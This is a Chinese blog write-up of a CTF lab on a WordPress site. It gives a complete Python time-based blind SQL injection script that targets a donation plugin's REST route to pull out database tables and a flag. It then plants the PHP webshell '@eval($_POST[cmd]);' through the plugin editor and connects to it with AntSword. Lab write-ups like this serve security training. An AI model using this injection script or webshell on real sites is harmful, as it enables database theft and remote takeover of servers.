1.阅读靶场介绍

这里我们可以看到的就是由于插件引发的漏洞
具体思路就是编写脚本插件,然后改为木马并且启用
最后完成中国蚁剑板块的websehll
带着这个思路我们开启征程吧
2.启动靶场
我们会得到如下页面

这里博主也有做额外的页面测试,没有得到一个有效的结果
这里我们直接拼接/admin去找到后台

相信很多彦祖和亦非们曾今都会卡在这里
无论是弱口令/空口令/还是暴力破解都得不到
有效的账号/密码去进入后台
这里博主是跑一个脚本去登入到后台的
各位可以参考参考
import requests
import time
def time_delay(url, headers, payload):
start_time = time.time()
response = requests.post(url, headers=headers, data=payload)
end_time = time.time()
#print(end_time,start_time)
delay = end_time - start_time
return delay
def time_based_blind_sql_injection(url, headers):
result=[]
for i in range(1, 100):
for j in range(32,126):#r'0123456789abcdefghijklmnopqrstuvwxyz_-{}':
#find db
#payload = """{"id":" (if((substr(database(),%d,1))='%s',sleep(10),1))#"}""" % (i, j)
#find table
#payload = """{"id":" (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
#find table -wp%
payload = """{"id":" (if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not like 0x777025),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
#find column
#payload = """{"id":" (if(ascii(substr((select count(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
payload = """{"id":" (if(ascii(substr((select flag from ctf.flag),%d,1))=%d,sleep(10),1))#"}""" % (i, j)
delay = time_delay(url, headers, payload)
print('{ ',''.join(result),' } ->',i,'-',j,"time_delay:",delay)
if delay > 9:
result.append(chr(j))
print(''.join(result))
break
else:
print("The payload is not vulnerable to SQL injection.")
print('result:',''.join(result))
if __name__ == "__main__":
url = "https://eci-2zecxtkbjkqos2volkuy.cloudeci1.ichunqiu.com/index.php?rest_route=/xs-donate-form/payment-redirect/3"
headers = {
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': '_ga=GA1.2.617032228.1689668529; _ga_J1DQF09WZC=GS1.2.1689668531.1.0.1689668531.0.0.0',
'Connection': 'close',
'Content-Type': 'application/json',
}
time_based_blind_sql_injection(url, headers)
使用idle(python编辑器)放上面的代码
然后用法如下,win+r然后cmd
![]()
这里的文件路径和url都是不一致的,各位需要对应修改

出现如下结果证明是成功的
然后我们跑回来登入界面
这里就可以用这个账号/密码:david@domainexample.com/Admin@123
去登入后台
这里我们需要点击更新哟

然后我们会进入一个这样的界面
如果卡在上面那个界面进不去的小伙伴们
这里要保持一直用https这个协议哟

下一步我们找到插件然后点击插件编辑器
如下图所示

这里我们点击我明白

接下里我们在右边那个地方选择这个选项

然后在左边的代码去输入如下代码
@eval($_POST[cmd]);

然后这里需要点击更新文件

完成以后它会显示

然后我们回到已安装插件
找到你好多莉,点击启用
3.webshell环节
启动中国蚁剑
其中url路径为
https://eci-2ze9foj8a8eqorl8isl6.cloudeci1.ichunqiu.com/wp-admin/plugin-editor.php?file=hello.php



进去以后我们就可以很顺利的找到flag这个大宝贝了
到此相信聪明的亦非彦祖们又攻克一个靶场了
感谢你们宝贵的时间
创作不易,喜欢博主的各位帅哥美女们,期待你们的一键三连
有不懂欢迎留言,博主会一一解答哟
期待博主攻克任何靶场的也欢迎留言
&spm=1001.2101.3001.5002&articleId=162223768&d=1&t=3&u=511f858427b942dc9179c622ccabe388)
2014

被折叠的 条评论
为什么被折叠?



